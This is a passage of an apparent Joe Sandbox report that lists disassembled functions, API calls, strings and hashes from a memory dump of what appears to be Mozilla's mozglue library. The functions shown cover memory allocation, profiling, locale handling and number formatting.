Part of subcall function 6C97AB89: LeaveCriticalSection.KERNEL32(6C9CE370,?,6C9434DE,6C9CF6CC,?,?,?,?,?,?,?,6C943284,?,?,6C9656F6), ref: 6C97ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C9597B7
FreeLibrary.KERNEL32 ref: 6C9597D0
FreeLibrary.KERNEL32 ref: 6C9597EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C959824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C959670
MapViewOfFileNuma2, xrefs: 6C9597B1
NtMapViewOfSection, xrefs: 6C959701
ntdll.dll, xrefs: 6C9596E3

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 2732b2ebb93761551c14e752caccbdde8efadf88ec7e6260ac90c6633b81b293
Instruction ID: 196e0eedf237e8ffa2b89cef208ca9b0446cb4a8adedc1a89090fc6b888a6d08
Opcode Fuzzy Hash: 2732b2ebb93761551c14e752caccbdde8efadf88ec7e6260ac90c6633b81b293
Instruction Fuzzy Hash: 7D41D7B17042059FEF00CFA4D884A9677B4FB49B18F618129ED1997740D730EA25CFE2

Function 6C941E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9CE784), ref: 6C941EC1
LeaveCriticalSection.KERNEL32(6C9CE784), ref: 6C941EE1
EnterCriticalSection.KERNEL32(6C9CE744), ref: 6C941F38
LeaveCriticalSection.KERNEL32(6C9CE744), ref: 6C941F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C941F83
LeaveCriticalSection.KERNEL32(6C9CE784), ref: 6C941FC0
EnterCriticalSection.KERNEL32(6C9CE784), ref: 6C941FE2
LeaveCriticalSection.KERNEL32(6C9CE784), ref: 6C941FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C942019

Strings

MOZ_CRASH(), xrefs: 6C942000

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: 1da7d9809d63185033b77ff60a5e65edc93a970b57727e56fa1e3cc15c1aa916
Instruction ID: c9890f40d6ace80495ac492ae51ae451d869029f3737a7c643488c84341dbb7d
Opcode Fuzzy Hash: 1da7d9809d63185033b77ff60a5e65edc93a970b57727e56fa1e3cc15c1aa916
Instruction Fuzzy Hash: 7F412571B053098FDF108F78C889BAA37B9EF5A748F104025E906D7741D771D9208BD6

Function 6C990000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C989420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C954A68), ref: 6C98945E
Part of subcall function 6C989420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C989470
Part of subcall function 6C989420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C989482
Part of subcall function 6C989420: __Init_thread_footer.LIBCMT ref: 6C98949F

GetCurrentThreadId.KERNEL32 ref: 6C990039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C990041
GetCurrentThreadId.KERNEL32 ref: 6C990075
AcquireSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C990082
moz_xmalloc.MOZGLUE(00000048), ref: 6C990090
free.MOZGLUE(?), ref: 6C990104
ReleaseSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C99011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C99005B

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: 125ae6e57d4fc52b367c015fcded5be02c207b79dd8cc69691f3debdfecc69a2
Instruction ID: 5a01bf3e481b7e7bce97941469a3165d614affa64278f782d7684efe4ef04515
Opcode Fuzzy Hash: 125ae6e57d4fc52b367c015fcded5be02c207b79dd8cc69691f3debdfecc69a2
Instruction Fuzzy Hash: 5441CDB2A05244DFCB20CF64C844A9ABBF0FF69318F54491DE95A83B40D731EA14CBA2

Function 6C957E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C957EA7
malloc.MOZGLUE(00000001), ref: 6C957EB3

Part of subcall function 6C95CAB0: EnterCriticalSection.KERNEL32(?), ref: 6C95CB49
Part of subcall function 6C95CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C95CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C957EC4
mozalloc_abort.MOZGLUE(?), ref: 6C957F19
malloc.MOZGLUE(?), ref: 6C957F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C957F4D

Strings

d, xrefs: 6C957F89

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: cc9d88dd416784f391d563fa567386d8d06c5370e848fa628ceb35e28c819e63
Instruction ID: 93678cef6f37cab889068f8d1548d484e448cb3547080d96ca3bb90723edb91f
Opcode Fuzzy Hash: cc9d88dd416784f391d563fa567386d8d06c5370e848fa628ceb35e28c819e63
Instruction Fuzzy Hash: 8131F761E0468897DB01DB28DC045FEB778EFA5208F549628DC4957612FB31E698C390

Function 6C953E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6C953EEE
RtlFreeHeap.NTDLL ref: 6C953FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6C954006
RtlFreeHeap.NTDLL ref: 6C9540A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C953CCC), ref: 6C9540AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C953CCC), ref: 6C9540C2
RtlFreeHeap.NTDLL ref: 6C954134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6C953CCC), ref: 6C954143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6C953CCC), ref: 6C954157

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 4ff0d6e51d7b0a26eb66d45c78d5e6c1042e43cb773cd0414dd267ea11dfbad6
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 69A193B1A00215CFEB40CF28C88066AB7F5FF58318F654169D909AF742D772D966CFA0

Function 6C942030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C963F47,?,?,?,6C963F47,6C961A70,?), ref: 6C94207F
memset.VCRUNTIME140(?,000000E5,6C963F47,?,6C963F47,6C961A70,?), ref: 6C9420DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C963F47,6C961A70,?), ref: 6C94211A
EnterCriticalSection.KERNEL32(6C9CE744,?,6C963F47,6C961A70,?), ref: 6C942145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C963F47,6C961A70,?), ref: 6C9421BA
EnterCriticalSection.KERNEL32(6C9CE744,?,6C963F47,6C961A70,?), ref: 6C9421E0
LeaveCriticalSection.KERNEL32(6C9CE744,?,6C963F47,6C961A70,?), ref: 6C942232

Strings

MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C942253, 6C942268
MOZ_CRASH(), xrefs: 6C94227D

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: 027412bdc8ecb1b0d9f161967bf3a0bb7cc55aaade92d5702ee49363f961fe1c
Instruction ID: 19019b03fd198b9d08ce5787e6b46eaeafc89feb6dd6b40d4879397469540f4e
Opcode Fuzzy Hash: 027412bdc8ecb1b0d9f161967bf3a0bb7cc55aaade92d5702ee49363f961fe1c
Instruction Fuzzy Hash: AD61C431F04616CFCB08CA68C889B6E77B5BF99718F258239E525E7A94D770DA00CB91

Function 6C9448E0 Relevance: 13.7, APIs: 9, Instructions: 198COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(8E8DFFFF,?,6C98483A,?), ref: 6C944ACB
memcpy.VCRUNTIME140(-00000023,?,8E8DFFFF,?,?,6C98483A,?), ref: 6C944AE0
moz_xmalloc.MOZGLUE(FFFE15BF,?,6C98483A,?), ref: 6C944A82

Part of subcall function 6C95CA10: mozalloc_abort.MOZGLUE(?), ref: 6C95CAA2

memcpy.VCRUNTIME140(-00000023,?,FFFE15BF,?,?,6C98483A,?), ref: 6C944A97
moz_xmalloc.MOZGLUE(15D4E801,?,6C98483A,?), ref: 6C944A35

Part of subcall function 6C95CA10: malloc.MOZGLUE(?), ref: 6C95CA26

memcpy.VCRUNTIME140(-00000023,?,15D4E801,?,?,6C98483A,?), ref: 6C944A4A
moz_xmalloc.MOZGLUE(15D4E824,?,6C98483A,?), ref: 6C944AF4
moz_xmalloc.MOZGLUE(FFFE15E2,?,6C98483A,?), ref: 6C944B10
moz_xmalloc.MOZGLUE(8E8E0022,?,6C98483A,?), ref: 6C944B2C

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: moz_xmalloc$memcpy$mallocmozalloc_abort
String ID:
API String ID: 4251373892-0
Opcode ID: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction ID: 0f531fb1c72b8aa729cf1aa766e9cdb939aa837bb448db1c753a5288d363527e
Opcode Fuzzy Hash: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction Fuzzy Hash: 0A715AB19017069FCB54CF68C480AAAB7F5FF18308B508A3EE15ADBB41E731E655CB90

Function 6C999D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C998273), ref: 6C999D65
free.MOZGLUE(6C998273,?), ref: 6C999D7C
free.MOZGLUE(?,?), ref: 6C999D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C999E0F
free.MOZGLUE(6C99946B,?,?), ref: 6C999E24
free.MOZGLUE(?,?,?), ref: 6C999E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C999EC8
free.MOZGLUE(6C99946B,?,?,?), ref: 6C999EDF
free.MOZGLUE(?,?,?,?), ref: 6C999EF5

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 75424685bd392c54fcfaf5a46d7e43d780644ab768db1da3f3b14b029a8e54a8
Instruction ID: 555b5607384f8ed26c5a68115062f0eefa5a467e7664153340a86694fc26eb5f
Opcode Fuzzy Hash: 75424685bd392c54fcfaf5a46d7e43d780644ab768db1da3f3b14b029a8e54a8
Instruction Fuzzy Hash: 8271ADB0909B419FD712CF59C48055BF3F4FFA9315B498619E88E5BB12EB30E885CB81

Function 6C99DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C99DDCF

Part of subcall function 6C97FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C97FA4B

Part of subcall function 6C9990E0: free.MOZGLUE(?,00000000,?,?,6C99DEDB), ref: 6C9990FF
Part of subcall function 6C9990E0: free.MOZGLUE(?,00000000,?,?,6C99DEDB), ref: 6C999108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C99DE0D
free.MOZGLUE(00000000), ref: 6C99DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C99DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C99DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C99DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C98DEFD,?,6C954A68), ref: 6C99DF32

Part of subcall function 6C99DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C99DB86
Part of subcall function 6C99DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C99DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C98DEFD,?,6C954A68), ref: 6C99DF65
free.MOZGLUE(?), ref: 6C99DF80

Part of subcall function 6C965E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C965EDB
Part of subcall function 6C965E90: memset.VCRUNTIME140(6C9A7765,000000E5,55CCCCCC), ref: 6C965F27
Part of subcall function 6C965E90: LeaveCriticalSection.KERNEL32(?), ref: 6C965FB2

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 528f8e2a8b3d2cea0f15acc37f12dfb88e879117510529f70b873aba082383ee
Instruction ID: 77754443369662659e95d1271c314aea55919529109ce03d69c451d3921d2a03
Opcode Fuzzy Hash: 528f8e2a8b3d2cea0f15acc37f12dfb88e879117510529f70b873aba082383ee
Instruction Fuzzy Hash: 0C51C5776056019BDB11DB69C8C06AEB37ABFA5308F9E051CD81A53F00DB31F95ACB92

Function 6C9A5D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C9A5C8C,?,6C97E829), ref: 6C9A5D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C9A5C8C,?,6C97E829), ref: 6C9A5D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C9A5C8C,?,6C97E829), ref: 6C9A5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C9A5C8C,?,6C97E829), ref: 6C9A5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C9A5C8C,?,6C97E829), ref: 6C9A5DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C9A5C8C,?,6C97E829), ref: 6C9A5DC9
std::_Facet_Register.LIBCPMT ref: 6C9A5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C9A5C8C,?,6C97E829), ref: 6C9A5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C9A5C8C,?,6C97E829), ref: 6C9A5E45

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 7d0ed8b4b3ba186939af46327480af686ba55b964ffe2271f4604b23a542cbb7
Instruction ID: eba5493eb81e03343b9eafe5e25fc3ff88054b366ed1d27935d90d55889f4245
Opcode Fuzzy Hash: 7d0ed8b4b3ba186939af46327480af686ba55b964ffe2271f4604b23a542cbb7
Instruction Fuzzy Hash: FC41C2707042049FCB00DFA5C898AAE77B9EF89318F654068E50AAB791DB30ED06CB60

Function 6C97CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C9431A7), ref: 6C97CDDD

Strings

<jemalloc>, xrefs: 6C97CF9F, 6C97CFB3
: (malloc) Error in VirtualFree(), xrefs: 6C97CFA4, 6C97CFB8

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: e19fa9929e51098134c7b85bafee1a2bfcc701fd955c963ed118b30318bc5cc2
Instruction ID: 055e9bb9d1ca4a7a54b64d2cda14b683aafd7cea445b6ecfa1313dd9a5d3d90b
Opcode Fuzzy Hash: e19fa9929e51098134c7b85bafee1a2bfcc701fd955c963ed118b30318bc5cc2
Instruction Fuzzy Hash: 7231C3307462055BEB20AEA58C45B6E7B79BF41B58F304019F611EBBC0DB70D9108BB2

Function 6C94ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C94F100: LoadLibraryW.KERNEL32(shell32,?,6C9BD020), ref: 6C94F122
Part of subcall function 6C94F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C94F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C94ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C94EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C94EDCC
CreateFileW.KERNEL32 ref: 6C94EE08
free.MOZGLUE(00000000), ref: 6C94EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C94EE32

Part of subcall function 6C94EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C94EBB5
Part of subcall function 6C94EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C97D7F3), ref: 6C94EBC3
Part of subcall function 6C94EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C97D7F3), ref: 6C94EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C94EDC1

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 5338efe90860a71fde24cc0ef94332a53b042ef613fa743db4b17550e920c1a5
Instruction ID: 17fc1ed49fe97aef64afe2bdf17940184032b8f99a7cc5f31434173c385ee56e
Opcode Fuzzy Hash: 5338efe90860a71fde24cc0ef94332a53b042ef613fa743db4b17550e920c1a5
Instruction Fuzzy Hash: DD51AD71D052049BDB11DF68C884BEEF7B4AF69318F44C52DE8556BB80E730E988C7A2

Function 6C9BA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C9BA565

Part of subcall function 6C9BA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9BA4BE
Part of subcall function 6C9BA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C9BA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C9BA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C9BA6B6

Strings

z, xrefs: 6C9BA6AE
0, xrefs: 6C9BA5FB

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: b057672ce202015d9a81c1fb48f16077e8287158a2a6f2cbd3d454c81bf11bf2
Instruction ID: c1fc9b563692efa41e99d4a372ac26edd654f5f58e990f5596f93c91dd7a6444
Opcode Fuzzy Hash: b057672ce202015d9a81c1fb48f16077e8287158a2a6f2cbd3d454c81bf11bf2
Instruction Fuzzy Hash: 73412971909745EFC341DF28C080A9FBBE5BF99354F408A2EF49997650EB30D649CB92

Function 6C9478C0 Relevance: 12.3, APIs: 8, Instructions: 320COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,6C9C008B), ref: 6C947B89
free.MOZGLUE(?,6C9C008B), ref: 6C947BAC

Part of subcall function 6C9478C0: free.MOZGLUE(?,6C9C008B), ref: 6C947BCF

